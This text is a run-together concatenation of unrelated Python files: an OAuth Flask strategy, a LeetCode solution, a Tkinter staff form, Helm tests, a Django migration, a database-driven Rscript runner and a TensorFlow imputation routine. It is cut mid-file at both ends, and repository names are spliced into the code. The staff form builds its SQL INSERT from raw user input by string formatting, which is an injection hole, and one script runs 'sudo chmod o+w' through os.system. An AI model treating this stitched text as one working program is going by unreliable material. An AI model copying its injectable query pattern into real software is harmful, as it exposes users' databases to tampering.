type: ignore @abstractmethod def name(self) -> str: ... # pragma: no cover @name.setter # type: ignore @abstractmethod def name(self, new_name: str): ... # pragma: no cover @property # type: ignore @abstractmethod def scopes(self) -> List[str]: ... # pragma: no cover @scopes.setter # type: ignore @abstractmethod def scopes(self, new_scopes: List[str]): ... # pragma: no cover @property # type: ignore @abstractmethod def authorization_base_url(self) -> str: ... # pragma: no cover @authorization_base_url.setter # type: ignore @abstractmethod def authorization_base_url(self, new_value: str): ... # pragma: no cover @property # type: ignore @abstractmethod def token_url(self) -> str: ... # pragma: no cover @token_url.setter # type: ignore @abstractmethod def token_url(self, new_value: str): ... # pragma: no cover @property # type: ignore @abstractmethod def user_profile_endpoint(self) -> str: ... # pragma: no cover @user_profile_endpoint.setter # type: ignore @abstractmethod def user_profile_endpoint(self, new_value: str): ... # pragma: no cover @property # type: ignore @abstractmethod def refresh_url(self) -> str: ... # pragma: no cover @refresh_url.setter # type: ignore @abstractmethod def refresh_url(self, new_value: str): ... # pragma: no cover @property def token(self) -> Dict: return session.get("oauth_token") @token.setter def token(self, new_value: Dict) -> None: session["oauth_token"] = new_value def extract_credentials( self, request: Union[Request, FlaskRequest] ) -> Dict[str, str]: return self.token def get_user_info(self) -> Dict: """Method to get user info for the logged in user. Raises: UnauthorizedException: When the user is not authenticated Returns: Dict: The user profile """ try: # Get the token token = self.token # Helper method to update the token in the session def token_updater(token): self.token = token # Get a session with auto-refresh of the token client = OAuth2Session( self.client_id, token=token, auto_refresh_kwargs={ "client_id": self.client_id, "client_secret": self.client_secret, }, auto_refresh_url=self.refresh_url, token_updater=token_updater, ) if self.name == "facebook": facebook_compliance_fix(client) # Return the user info return client.get(self.user_profile_endpoint).json() except Exception: raise UnauthorizedException() def validate_token(self) -> Dict: """Method to validate a Github token with Github. Raises: UnauthorizedException: When the user isn't authenticated or token is not valid Returns: Dict: The data from the token """ return {} def authenticate(self, request: Union[Request, FlaskRequest]) -> Any: """Method to authenticate a user. Args: request (Union[Request, FlaskRequest]): [description] Raises: UnauthorizedException: [description] Returns: Any: [description] """ # Deserialize the user from the session try: self.validate_token() return self.deserialize_user(session["user"]) except Exception: raise UnauthorizedException() def register_additional_routes(self, app: Flask) -> None: """Register additional routes, specific for this strategy. Args: app (Flask): The app to register the strategies to """ # Create a blueprint to register all related endpoints authentication_blueprint = Blueprint( self.name, __name__, url_prefix=self.endpoint_prefix ) @authentication_blueprint.route("/login") def login(): client = OAuth2Session( self.client_id, scope=self.scopes, redirect_uri=url_for(".callback", _external=True), ) if self.name == "facebook": facebook_compliance_fix(client) authorization_url, state = client.authorization_url( self.authorization_base_url, access_type="offline", prompt="select_account", ) # State is used to prevent CSRF, keep this for later. session["oauth_state"] = state return redirect(authorization_url) @authentication_blueprint.route("/callback", methods=["GET"]) def callback(): client = OAuth2Session( self.client_id, state=session["oauth_state"], redirect_uri=url_for(".callback", _external=True), ) if self.name == "facebook": facebook_compliance_fix(client) self.token = client.fetch_token( self.token_url, client_secret=self.client_secret, authorization_response=request.url, ) # Get additional data for the user user_data = self.get_user_info() # Ensure the user is registered user = self.get_or_create_user(user_data) # Store the (serialized) user info on the sessions session["user"] = self.serialize_user(user) # Redirect the user to the requested page if session.get("next") is not None: url = session["next"] del session["next"] return redirect(url) # Default is to redirect to the root return redirect("/") # Register the blueprint with the app app.register_blueprint(authentication_blueprint) a = int(input('a=')) b = int(input('b=')) c = a % b v = b % a print(c*v+1)# @lc app=leetcode id=410 lang=python3 # # [410] Split Array Largest Sum # # https://leetcode.com/problems/split-array-largest-sum/description/ # # algorithms # Hard (47.56%) # Likes: 3141 # Dislikes: 101 # Total Accepted: 135.2K # Total Submissions: 282.7K # Testcase Example: '[7,2,5,10,8]\n2' # # Given an array nums which consists of non-negative integers and an integer m, # you can split the array into m non-empty continuous subarrays. # # Write an algorithm to minimize the largest sum among these m subarrays. # # # Example 1: # # # Input: nums = [7,2,5,10,8], m = 2 # Output: 18 # Explanation: # There are four ways to split nums into two subarrays. # The best way is to split it into [7,2,5] and [10,8], # where the largest sum among the two subarrays is only 18. # # # Example 2: # # # Input: nums = [1,2,3,4,5], m = 2 # Output: 9 # # # Example 3: # # # Input: nums = [1,4,4], m = 3 # Output: 4 # # # # Constraints: # # # 1 <= nums.length <= 1000 # 0 <= nums[i] <= 10^6 # 1 <= m <= min(50, nums.length) # # # # @lc tags=binary-search;dynamic-programming # @lc imports=start from imports import * # @lc imports=end # @lc idea=start # # 将一个数组分成连续的k段，求每段和最大值的最小值。 # 朴素的想法是用分治备忘录，每次选一个位置，分成两端，分别赋予再分段的数量，取和的最大值，之后再选最小值。 # 比较好的思想是，二分搜索，选定一个最大值的值，之后再判断是否合法。 # # @lc idea=end # @lc group= # @lc rank= # @lc code=start class Solution: def splitArray(self, nums: List[int], k: int) -> int: def valid(sm): s = 0 c = 1 for n in nums: s += n if s > sm: s = n c += 1 return c <= k l, r = max(nums), sum(nums) while l < r: sm = (l + r) // 2 if valid(sm): r = sm else: l = sm + 1 return r pass # @lc code=end # @lc main=start if __name__ == '__main__': print('Example 1:') print('Input : ') print('nums = [7,2,5,10,8], m = 2') print('Exception :') print('18') print('Output :') print(str(Solution().splitArray([7, 2, 5, 10, 8], 2))) print() print('Example 2:') print('Input : ') print('nums = [1,2,3,4,5], m = 2') print('Exception :') print('9') print('Output :') print(str(Solution().splitArray([1, 2, 3, 4, 5], 2))) print() print('Example 3:') print('Input : ') print('nums = [1,4,4], m = 3') print('Exception :') print('4') print('Output :') print(str(Solution().splitArray([1, 4, 4], 3))) print() pass # @lc main=endfrom src.dependencies.imports import * class Staff_master(LabelFrame): def __init__(self,master,db,flag): super(Staff_master,self).__init__(master) labelfont=('times',16,'bold') self.config(bd=10,bg="#bdc3c7",font=labelfont) self.master=master self.grid() self.db=db self.flag=flag self.depts=self.master.depts self.create_widgets() if not self.flag: self.config(bg="#e8e0a9") for lab in filter(lambda w:isinstance(w,Label) ,self.children.values()): lab.config(bg="#e8e0a9") for lab in filter(lambda w:isinstance(w,Button) ,self.children.values()): lab.config(bg="#9b9039") def create_widgets(self): row=0; self.config(text="Staff Master", relief=FLAT, labelanchor=N, padx=30, pady=10) textfont=('verdana',10) errorfont=('verdana',8) Label(self,text="Staff ID: ", font=textfont,bg="#bdc3c7").grid(row=row, column=0, sticky=N+S+W+E) self.id=Entry(self); self.id.grid(row=row,column=1,columnspan=2,sticky=W+E) row+=1 self.id_err=StringVar() self.id_err.set("") Label(self,textvariable=self.id_err, font=errorfont, fg="red",bg="#bdc3c7").grid(row=row, column=1, columnspan=2, sticky=W+E) row+=1 Label(self,text="Name: ", font=textfont,bg="#bdc3c7").grid(row=row, column=0, sticky=N+S+W+E) self.name=Entry(self); self.name.grid(row=row,column=1,columnspan=2,sticky=W+E) row+=1 self.name_err=StringVar() self.name_err.set("") Label(self,textvariable=self.name_err, font=errorfont, fg="red",bg="#bdc3c7").grid(row=row, column=1, columnspan=2, sticky=W+E) row+=1 Label(self,text="Designation: ", font=textfont,bg="#bdc3c7").grid(row=row, column=0, sticky=N+S+W+E) self.desg=Entry(self); self.desg.grid(row=row,column=1,columnspan=2,sticky=W+E) row+=1 self.desg_err=StringVar() self.desg_err.set("") Label(self,textvariable=self.desg_err, font=errorfont, fg="red",bg="#bdc3c7").grid(row=row, column=1, columnspan=2, sticky=W+E) row+=1 Label(self,text="Contact No.: ", font=textfont,bg="#bdc3c7").grid(row=row, column=0, sticky=N+S+W+E) self.con=Entry(self); self.con.grid(row=row,column=1,columnspan=2,sticky=W+E) row+=1 self.con_err=StringVar() self.con_err.set("") Label(self,textvariable=self.con_err, font=errorfont, fg="red",bg="#bdc3c7").grid(row=row, column=1, columnspan=2, sticky=W+E) row+=1 Label(self,text="Email ID 1: ", font=textfont,bg="#bdc3c7").grid(row=row, column=0, sticky=N+S+W+E) self.email1=Entry(self); self.email1.grid(row=row,column=1,columnspan=2,sticky=W+E) row+=1 self.email1_err=StringVar() self.email1_err.set("") Label(self,textvariable=self.email1_err, font=errorfont, fg="red",bg="#bdc3c7").grid(row=row, column=1, columnspan=2, sticky=W+E) row+=1 Label(self,text="Email ID 2: ", font=textfont,bg="#bdc3c7").grid(row=row, column=0, sticky=N+S+W+E) self.email2=Entry(self); self.email2.grid(row=row,column=1,columnspan=2,sticky=W+E) row+=1 self.email2_err=StringVar() self.email2_err.set("") Label(self,textvariable=self.email2_err, font=errorfont, fg="red",bg="#bdc3c7").grid(row=row, column=1, columnspan=2, sticky=W+E) row+=1 Label(self,text="Address: ", font=textfont,bg="#bdc3c7").grid(row=row, column=0, sticky=N+S+W+E) self.adr=Text(self,width=40,height=5,wrap=WORD) self.adr.grid(row=row,column=1,columnspan=2,sticky=W+E) row+=1 self.adr_err=StringVar() self.adr_err.set("") Label(self,textvariable=self.adr_err, font=errorfont, fg="red",bg="#bdc3c7").grid(row=row, column=1, columnspan=2, sticky=W+E) row+=1 Label(self,text="Department: ", font=textfont,bg="#bdc3c7").grid(row=row, column=0, sticky=N+S+W+E) self.dept=StringVar() self.dept.set(None) self.dept_opt=ttk.Combobox(self,textvariable=self.dept, values=self.depts) self.dept_opt.grid(row=row, column=1, columnspan=2, sticky=W+E) self.dept_opt.bind('',self.new_department) row+=1 self.dept_err=StringVar() self.dept_err.set("") Label(self,textvariable=self.dept_err, font=errorfont, fg="red",bg="#bdc3c7").grid(row=row, column=1, columnspan=2, sticky=W+E) row+=1 Label(self,text="Joining Date: ", font=textfont,bg="#bdc3c7").grid(row=row, column=0, sticky=N+S+W+E) self.join_date=Entry(self) self.join_date.grid(row=row, column=1, sticky=W+E) self.join_date_select=Button(self,text="Calendar",fg="white", bg="#34495e",font=textfont, command=self.selectdate) self.join_date_select.grid(row=row, column=2, sticky=E) row+=1 self.join_date_err=StringVar() self.join_date_err.set("") Label(self,textvariable=self.join_date_err, font=errorfont, fg="red",bg="#bdc3c7").grid(row=row, column=1, columnspan=2, sticky=W+E) row+=1 Button(self,text="SUBMIT",bg="#34495e",font=textfont, command=self.submit,fg="white", width=12).grid(row=row, column=1, pady=15) Button(self,text="RESET",bg="#34495e",font=textfont, command=self.reset,fg="white", width=12).grid(row=row, column=2, pady=15) if not self.flag: Button(self,text="BACK",bg="#34495e",font=textfont, command=self.destroy,fg="white", width=12).grid(row=row, column=0, pady=15) self.pack(anchor=CENTER,expand=1) def selectdate(self): X=__import__('calendar_ui') self.expiry_date=X.CalendarWidget(self.master) #self.expire.insert(0,self.expiry_date.selection()) def dept_populate(self): self.db.connect() x=self.db.execute_sql("select * from department_master") z=list(x.fetchall()) self.depts=[] for items in z: self.depts.append(items[0]+" - "+items[1]) self.db.close() self.dept_opt.config(values=self.depts) def new_department(self,event): self.pack_forget() X=__import__("src.dependencies.Department_master",fromlist=('Department_master')) self.z=X.Department_master(self.master,self.db,False) arg="Department" t=Thread(target=self.call_pack,args=(arg,)) t.setDaemon(True) t.start() def call_pack(self,arg): try: while self.z.winfo_exists(): sleep(0.1) pass self.pack(anchor=CENTER,expand=1) if arg=="Department": self.dept_populate() except: pass def submit(self): comp=BooleanVar() comp.set(True) msg=StringVar() msg.set("Invalid contact number") check_cont(self.con,comp,msg,self.con_err) msg.set("Designation cannot be empty") check_ent(self.desg,comp,msg,self.desg_err) msg.set("Email ID cannot be empty") check_ent(self.email1,comp,msg,self.email1_err) msg.set("Email ID cannot be empty") check_ent(self.email2,comp,msg,self.email2_err) msg.set("ID cannot be empty") check_ent(self.id,comp,msg,self.id_err) msg.set("Select department") check_stvar(self.dept,self.depts,comp,msg,self.dept_err) msg.set("Name cannot be empty") check_ent(self.name,comp,msg,self.name_err) msg.set("Invalid Joining Date") check_date(self.join_date,comp,msg,self.join_date_err) if self.email1.get()!="" and self.email2.get()!="": if self.email1.get()==self.email2.get(): self.email1.config(bg="#ffdbdb") self.email2.config(bg="#ffdbdb") self.email1_err.set("Email ID cannot be same") self.email2_err.set("Email ID cannot be same") else: self.email1.config(bg="white") self.email2.config(bg="white") try: self.db.connect() if comp.get(): dpt=list(self.dept.get().split(" - ")) self.db.execute_sql("""insert into staff_master values('%s','%s','%s','%s','%s','%s','%s','%s','%s');""" %(self.id.get(), self.name.get(), self.desg.get(), self.con.get(), self.email1.get(), self.email2.get(), self.adr.get("1.0",END), dpt[0], self.join_date.get() )) self.reset() except pw.IntegrityError as e: x,y=e.args print(e) if x==1062: self.id.config(bg="#ffdbdb") self.id_err.set("Staff ID already exists") else: self.id_err.set("") self.id.config(bg='white') except: self.db.close() print("Connection error") def reset(self): self.destroy() if self.flag: Staff_master(self.master,self.db,True) baumanproject/recomendation_systems from django.apps import AppConfig class BooksRecommendationsConfig(AppConfig): name = "books_recommendations" ncalandra/dask-gateway import os import subprocess import tempfile import yaml import pytest try: subprocess.check_call(["helm", "version"]) except Exception: pytest.skip("Helm not available", allow_module_level=True) CHART_PATH = os.path.abspath( os.path.join( os.path.dirname(__file__), "..", "..", "resources", "helm", "dask-gateway" ) ) def helm_template(name, values): with tempfile.NamedTemporaryFile() as fil: fil.write(values) out = subprocess.check_output( ["helm", "template", name, CHART_PATH, "-f", fil.name] ) return list(yaml.safe_load_all(out)) def test_helm_lint(): return subprocess.check_call(["helm", "lint", CHART_PATH]) def test_render_default(): helm_template("foo", b"") """Base template.""" from gemd.entity.base_entity import BaseEntity from gemd.entity.bounds.base_bounds import BaseBounds from gemd.entity.link_by_uid import LinkByUID from gemd.entity.template.attribute_template import AttributeTemplate from typing import Union, Iterable, Mapping class BaseTemplate(BaseEntity): """ Base class for all object templates. Parameters ---------- name: str, required The name of the object template. description: str, optional Long-form description of the object template. uids: Map[str, str], optional A collection of `unique IDs `_. tags: List[str], optional `Tags `_ are hierarchical strings that store information about an entity. They can be used for filtering and discoverability. """ def __init__(self, name: str, *, description: str = None, uids: Mapping[str, str] = None, tags: Iterable[str] = None): BaseEntity.__init__(self, uids, tags) self.name = name self.description = description @staticmethod def _homogenize_ranges(template_or_tuple: Union[AttributeTemplate, LinkByUID, Iterable[Union[AttributeTemplate, BaseBounds]]]): """ Take either a template or pair and turn it into a (template, bounds) pair. If no bounds are provided, use the attribute template's default bounds. Parameters ---------- template_or_tuple: AttributeTemplate OR a list or tuple [AttributeTemplate or LinkByUID, BaseBounds] An attribute template, optionally with another Bounds object that is more restrictive than the attribute template's default bounds. Returns ------- List[AttributeTemplate or LinkByUID, BaseBounds] The attribute template and bounds that should be applied to the attribute when used in the context of **this** object. """ # if given a template only, use None to represent passthrough bounds if isinstance(template_or_tuple, (AttributeTemplate, LinkByUID)): return [template_or_tuple, None] # if given a (template, bounds) pair, # check that the bounds is consistent with that of the template elif isinstance(template_or_tuple, (tuple, list)): first, second = template_or_tuple if isinstance(first, (LinkByUID, AttributeTemplate)) and \ (isinstance(second, BaseBounds) or second is None): if isinstance(first, AttributeTemplate) and isinstance(second, BaseBounds): if not first.bounds.contains(second): raise ValueError("Range and template are inconsistent") return [first, second] raise TypeError("Expected a template or (template, bounds) tuple") # pragma: no cover from .augmentation import * from .interpolate import *Khuisde/gocgoc/game/util/constants.py0 # -*- coding: utf-8 -*- """ Created on Tue Aug 6 22:52:30 2019 @author: Phoenix """ # Map Sizes blockScale = 0.1 minScale = 0.001 #mue = 0.000001 mue = 0.00003 #Blocks block_solid = 1 block_platform = 2 block_uphill = 3 block_downhill = 4 block_water = 5 # Physic maxVelocity = 0.1 #0.2 minVelocity = 0.001 defaultFallGravity = -0.002 airFriction = 0.90 groundFriction = 0.80 # Player values #jumpVelocity = 0.05 #runVelocity = 0.003 #airVelocity = 0.002 jumpVelocity = 0.03 runVelocity = 0.002 airVelocity = 0.0008 slowVelocity = 0.001 # Enemy values enemyWalkVelocity = 0.0008 def trunc(value): if value >= 0: return int(value) else: return int(value)-10 from functools import wraps from collections import defaultdict from prompt_toolkit.keys import Keys import statinfo class StatConstraintState: # Selection states NONE_SELECTED = 0x0 # Nothing selected SINGLE_SELECTED = 0x1 # Single number selected (enter pressed once and not moved) RANGE_SELECTED = 0x2 # Range selected (enter, move, enter) RANGE_SELECTED_PENDING = 0x3 # Range partially selected (enter, move) _default_state = {'state': NONE_SELECTED, 'low': 0, 'high': 0, 'start': 0} def __init__(self): self._state = defaultdict(self._default_state.copy) def for_buffer(self, buffer): if buffer not in statinfo.names: raise NameError("No such stat") return {k:v for k,v in self._state[buffer].items() if k != 'state'} def get_cursor_bounds(self, buffer): stats1, stats2, numeric, phys = statinfo.groups stats = stats1 + stats2 if buffer in stats: return range(18, 35+1) # These next two may need some sort of alternate entry method # like some slider bar at the bottom elif buffer in numeric: return range(15, 15+1) # TODO: allow alt entry (f'in") elif buffer in phys: return range(23, 31+1, 2) def listen(self, func): @wraps(func) def wrapped(event): current_buffer = event.current_buffer current_buffer_name = event.cli.current_buffer_name self._process_event_before(event) x = func(event) event.previous_buffer = current_buffer event.previous_buffer_name = current_buffer_name self._process_event_after(event) return x return wrapped def _process_event_before(self, event): buffer_name = event.current_buffer.text.split(':')[0] key = event.key_sequence[0].key.name # non-character keys are key objects in events cursor_pos = event.current_buffer.cursor_position - 17 full_state = self._state[buffer_name] state = full_state['state'] low, high = sorted((cursor_pos, full_state['start'])) if key in (Keys.Up.name, Keys.Down.name): # Reset selection to single, other option was to set to range if state == self.RANGE_SELECTED_PENDING: full_state.update(state=self.SINGLE_SELECTED, low=cursor_pos, high=cursor_pos, start=cursor_pos) elif key in (Keys.Left.name, Keys.Right.name): if state == self.RANGE_SELECTED_PENDING: full_state.update(low=low, high=high) elif state == self.SINGLE_SELECTED: full_state.update(state=self.RANGE_SELECTED_PENDING, low=low, high=high) elif key == Keys.Enter.name: if state in (self.NONE_SELECTED, self.RANGE_SELECTED): full_state.update(state=self.SINGLE_SELECTED, low=cursor_pos, high=cursor_pos, start=cursor_pos) elif state == self.RANGE_SELECTED_PENDING: if low == high: full_state.update(state=self.SINGLE_SELECTED, low=low, high=high) else: full_state.update(state=self.RANGE_SELECTED, low=low, high=high) def _process_event_after(self, event): last_buffer_name = event.previous_buffer.text.split(':')[0] key = event.key_sequence[0].key.name # non-character keys are key objects in events last_cursor_pos = event.previous_buffer.cursor_position - 17 full_state = self._state[last_buffer_name] state = full_state['state'] if key in (Keys.Up.name, Keys.Down.name): if state == self.RANGE_SELECTED_PENDING: full_state.update(state=self.SINGLE_SELECTED) class StatConstraint: def __init__(self, stat, *, lower, upper, min, max, value=None): if upper > max: raise ValueError(f"Upper bound cannot be greater than max value ({upper} > {max})") if lower < min: raise ValueError(f"Lower bound cannot be less than than min value ({lower} > {min})") if upper < lower: raise ValueError(f"Upper bound cannot be lower than lower bound ({upper} < {lower}") self.stat = stat self.lower = lower self.upper = upper self.min = min self.max = max self.value = None self.low_token = self.high_token = ' ' self.mid_token = '-' self.mid_low_bound_token = '>' self.mid_high_bound_token = '<' self.mid_same_bound_token = 'O' self.valid_token = '@' self.invalid_token = 'x' def set(self, value): self.value = min(self.upper, max(self.lower, value)) return self.value def is_in_bounds(self, value): return self.lower <= value <= self.upper def is_valid(self, value): return self.min <= value <= self.max def visualize(self, value=None): if value is not None: if not self.is_valid(value): raise ValueError(f"Value not within bounds ({self.min} <= {value} <= {self.max})") elif not self.is_in_bounds(value) and self.invalid_token is None: value = None total_range = self.max - self.min ok_range = self.upper - self.lower low = self.low_token * (self.lower - 1) high = self.high_token * (total_range - ok_range - len(low)) if self.lower == self.upper: mid = self.mid_same_bound_token else: mid = (self.mid_token * (self.upper - self.lower - 1)).join( self.mid_low_bound_token + self.mid_high_bound_token) if value is not None: chars = list(f"[{low}{mid}{high}]") t = self.valid_token if self.is_in_bounds(value) else self.invalid_token chars[value - self.min + 1] = t return ''.join(chars) else: return f"[{low}{mid}{high}]" class InteractiveStatSetup: """ Will post instructions and guide through stat selection process. Clear stats and constraints Select first buffer (if we have race data, place cursor on top of bell curve value) (need to consider the no data/dont care button (space?)) (stat info will be posted as usual) Constraints will be entered by the user (need to thing about how to do weight/height) focus will move to some "start button" press enter to begin etc """ def __init__(self, ui): self.ui = ui self.process_events = True def on_event(self, event): if not self.process_events: return def start(self): ... # Generated by Django 2.2.23 on 2021-06-14 13:47 from django.conf import settings from django.db import migrations, models, transaction from django.db.utils import ProgrammingError class Migration(migrations.Migration): dependencies = [ ('auth', '0011_update_proxy_permissions'), migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('core', '0050_ocrmodel_parent'), ] operations = [ migrations.AddField( model_name='document', name='shared_with_groups', field=models.ManyToManyField(blank=True, related_name='shared_documents', to='auth.Group', verbose_name='Share with teams'), ), migrations.AddField( model_name='document', name='shared_with_users', field=models.ManyToManyField(blank=True, related_name='shared_documents', to='users.User', verbose_name='Share with users'), ) ] def apply(self, project_state, schema_editor, collect_sql=False): try: # check actual db state with transaction.atomic(): with schema_editor.connection.cursor() as cursor: cursor.execute('SELECT id from core_document_shared_with_users LIMIT 1') except ProgrammingError: pass else: # they already exists self.operations = [] return super().apply(project_state, schema_editor, collect_sql=collect_sql) def unapply(*args, **kwargs): pass ElenorFrisbee/MSC #!/bin/python # -*- coding: utf-8 -*- # from http://zetcode.com/db/postgresqlpythontutorial/ import psycopg2 import sys import os con = None try: con = psycopg2.connect(database='myDb', user='myUser') cur = con.cursor() cur.execute('SELECT year_begin, month_id_begin from tambora_temperature_monthly ORDER BY year_begin') rows = cur.fetchall() for i, row in enumerate(rows): print('\n# # # # # # # # # # # # # # # # # # # # # # # # # #\n') print(i+2, row) print('\n# # # # # # # # # # # # # # # # # # # # # # # # # #\n') year = row[0] month = row[1] os.system('Rscript regmodR/mainCL.R ' + `year` + ' ' + `month` + ' 2>&1 | tee mapCreateLogTmp.txt') os.system('sudo chmod o+w www/genmaps/GISFiles/clipped_world_poly*') # create 'clean' log os.system('cat mapCreateLogTmp.txt | grep -i -e SOURCEDATE -i -e ERROR -i -e WARNING -i -e Fehler -i -e debug -i -e EXEC -i -e MeanTemp>> mapCreateLog.txt') os.system('echo >> mapCreateLog.txt') # calculate Cru stats os.system('Rscript regmodR/calcTempStats.R 2>&1 | tee cruStatsLogTmp.txt') except psycopg2.DatabaseError, e: print 'Error %s' % e sys.exit(1) finally: if con: con.close() def get_instance_data(sample_annotation_data: list): """Gets a dictionary mapping every instance token -> data about it Args: sample_annotation_data (list): a list of dictionaries with sample annotation information Returns: dict: a dictionary mapping instance_tokens to dicts about them """ # Map from instance_token -> dict instance_data = {} for annotation in sample_annotation_data: instance_token = annotation["instance_token"] if instance_token in instance_data: # If the instance token already exists in the instance_data timestamp = annotation["timestamp"] if timestamp < instance_data[instance_token]["first_annotation_timestamp"]: instance_data[instance_token]["first_annotation_token"] = annotation[ "token" ] instance_data[instance_token]["first_annotation_timestamp"] = timestamp elif timestamp > instance_data[instance_token]["last_annotation_timestamp"]: instance_data[instance_token]["last_annotation_token"] = annotation[ "token" ] instance_data[instance_token]["last_annotation_timestamp"] = timestamp # Update the count instance_data[instance_token]["nbr_annotations"] += 1 else: # If we need to add the instance for the first time instance_data[instance_token] = { "token": instance_token, "category_token": annotation["category_token"], "nbr_annotations": 1, "first_annotation_token": annotation["token"], "first_annotation_timestamp": annotation["timestamp"], "last_annotation_token": annotation["token"], "last_annotation_timestamp": annotation["timestamp"], } # Remove timestamps for instance_dict in instance_data.values(): del instance_dict["first_annotation_timestamp"] del instance_dict["last_annotation_timestamp"] return instance_data fieu/rustplus from .objects import ChatMessagefrom django import forms class ChangePasswordForm(forms.Form): current_password = forms.CharField(label='현재 비밀번호', widget=forms.PasswordInput, min_length=6, max_length=30) new_password = forms.CharField(label='새 비밀번호', widget=forms.PasswordInput, min_length=6, max_length=30) new_password_check = forms.CharField(label='새 비밀번호 확인', widget=forms.PasswordInput, min_length=6, max_length=30) #!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright (C) 2014 SWIPO Project # # Authors (this file): # <> """ Provides simple type check for resistive networks """ import numpy as np from pyunicorn import ResNetwork res = ResNetwork.SmallTestNetwork() def testAdmittiveDegreeType(): print "testing types" assert isinstance(res.admittive_degree(), np.ndarray) 1-10 import numpy as np import pandas as pd import time import functools import tensorflow.compat.v1 as tf tf.disable_v2_behavior() def em_impute(X, sf, K, L, em_inits={}, min_lb=1e-5, a_base=1.0, q_base=0.2, n_iter=100, n_inner_iter=50, tol=1e-5): st = time.time() G, C = np.shape(X) X0 = (X/sf).T lb = np.maximum(np.mean(X0, axis=0)/K, min_lb) rhot = [em_inits['rho'][:, k:k+1, :, :] for k in range(K)] at = [] bt = [] qt = [] for k in range(K): if 'a' in em_inits: a0 = em_inits['a'][:, k:k+1, :, :] b0 = em_inits['b'][:, k:k+1, :, :] qlog0 = em_inits['logq'][:, k:k+1, :, :] else: em_labels = em_inits['labels'] jdx = np.where(em_labels == k)[0] mk = np.maximum(np.mean(X0[jdx, :], axis=0), lb) a0 = np.zeros((L-1, 1, G, 1))+a_base b0 = np.zeros((L-1, 1, G, 1)) b0[0, 0, :, 0] = q_base/mk*a_base q0 = np.ones((L, 1, G, 1)) * (1.0-q_base)/(L-1) q0[0, :, :, :] = q_base qlog0 = np.log(q0) at.append(a0) bt.append(b0) qt.append(qlog0) res = _em_impute(X, sf, L, at, bt, qt, rhot, n_iter=n_iter, n_inner_iter=n_inner_iter, tol=tol) sol = {} for key in ['rate_impute', 'point_impute', 'var_est']: sol[key] = functools.reduce(lambda a, b: a+b, [r[key] for r in res]) et = time.time() tc = et - st sol['total_impute_time'] = tc sol['res'] = res return sol def _em_impute(X, sf, L, at, bt, qt, rhot, n_iter=100, n_inner_iter=50, tol=1e-5, K=1): G, C = np.shape(X) n_factor = np.log(C) x0 = X ss0 = sf def em_impute(): vF = a * tf.log(b/sc) - (x+a) * tf.log(1+b/sc) - \ log_beta(a, x) - tf.log(x+a) t = q + tf.concat([vF, tf.broadcast_to(vL_in, [1, K, G, C])], axis=0) eta = tf.reduce_logsumexp(t, axis=(0), keepdims=True) p_n = tf.exp(rho + t - eta) post_est = tf.reduce_sum( p_n * tf.concat([(a+x)/(b+sc), tf.broadcast_to(a/b, [1, K, G, C])], axis=0), axis=(0, 1)) post_est1 = tf.reduce_sum(p_n * tf.concat([tf.broadcast_to( x, [1, K, G, C]), tf.broadcast_to(a/b, [1, K, G, C])], axis=0), axis=(0, 1)) var_est = tf.reduce_sum(p_n * tf.concat([(a+x)*(a+x+1)/(b+sc)/(b+sc), tf.broadcast_to( a*(a+1)/b/b, [1, K, G, C])], axis=0), axis=(0, 1)) - post_est * post_est return post_est, post_est1, var_est def log_beta(a, x): a_full = tf.broadcast_to(a, [L-1, K, G, C]) x_full = tf.broadcast_to(x, [L-1, K, G, C]) a_s = tf.reshape(a_full, (-1,)) x_s = tf.reshape(x_full, (-1,)) lt = tf.lbeta(tf.stack([x_s+1.0, a_s], axis=1)) return tf.reshape(lt, (L-1, K, G, C)) def outer_body(j, diffo, a, b, q): def body(i, diff, at, bt): bt1 = at * bgt at1 = tf.maximum( at + (tf.log(bt)+agt-tf.digamma(at))/tf.polygamma(1.0, at), 1e-5) diff1 = tf.reduce_mean(tf.abs(at/at1-1.0)) + \ tf.reduce_mean(tf.abs(bt/bt1-1.0)) return [i-1, diff1, at1, bt1] def cond(i, diff, at, bt): return tf.logical_and(i > 0, diff > tol) vF = a * tf.log(b/sc) - (x+a) * tf.log(1+b/sc) - \ log_beta(a, x) - tf.log(x+a) t = q + tf.concat([vF, tf.broadcast_to(vL_in, [1, K, G, C])], axis=0) eta = tf.reduce_logsumexp(t, axis=(0), keepdims=True) xi = rho + t - eta qt = tf.reduce_logsumexp(xi, axis=3, keepdims=True) # sum over c qt1 = qt - tf.reduce_logsumexp(qt, axis=0, keepdims=True) # sum over l xi_n = xi - tf.reduce_max(xi, axis=3, keepdims=True) p_n = tf.exp(xi_n[:L-1, :, :, :]) pt_n = tf.reduce_sum(p_n, axis=3, keepdims=True) bgt = pt_n/tf.reduce_sum(p_n * (a+x)/(b+sc), axis=3, keepdims=True) agt = tf.reduce_sum( p_n * (tf.digamma(x+a)-tf.log(sc+b)), axis=3, keepdims=True) / pt_n i, diff_in, at1, bt1 = tf.while_loop( cond, body, (n_inner_iter, 1.0, a, b)) diffo1 = tf.reduce_mean(tf.abs(a/at1-1.0)) + \ tf.reduce_mean(tf.abs(b/bt1-1.0)) return [j-1, diffo1, at1, bt1, qt1] def outer_cond(j, diffo, a, b, q): return tf.logical_and(j > 0, diffo > tol) a = tf.placeholder(tf.float32, shape=(L-1, K, G, 1)) b = tf.placeholder(tf.float32, shape=(L-1, K, G, 1)) rho = tf.placeholder(tf.float32, shape=(1, K, 1, C)) q = tf.placeholder(tf.float32, shape=(L, K, G, 1)) x = tf.placeholder(tf.float32, shape=(G, C)) vL_in = tf.placeholder(tf.float32, shape=(G, C)) ss = tf.placeholder(tf.float32, shape=(C)) sc = tf.broadcast_to(ss, [1, 1, 1, C]) j, diff_out, atn, btn, qn = tf.while_loop( outer_cond, outer_body, (n_iter, 1.0, a, b, q)) post_est, post_est1, var_est = em_impute() res = [] for kk in range(len(at)): print("working on cluster {} imputation".format(kk)) a0 = np.broadcast_to(np.reshape(at[kk], (K, G, 1)), (L-1, K, G, 1)) b0 = np.broadcast_to(np.reshape(bt[kk], (K, G, 1)), (L-1, K, G, 1)) rho0 = rhot[kk] qlog0 = qt[kk] feed_dict = {x: x0, vL_in: (x0 != 0)*(-1e5), a: a0, b: b0, rho: rho0, q: qlog0, ss: ss0} st = time.time() sess = tf.Session(config=tf.ConfigProto(log_device_placement=False)) oo = sess.run((j, diff_out, atn, btn, qn), feed_dict=feed_dict) feed_dict = {x: x0, vL_in: ( x0 != 0)*(-1e5), a: oo[2], b: oo[3], q: oo[4], rho: rho0, ss: ss0} oo1 = sess.run((post_est, post_est1, var_est), 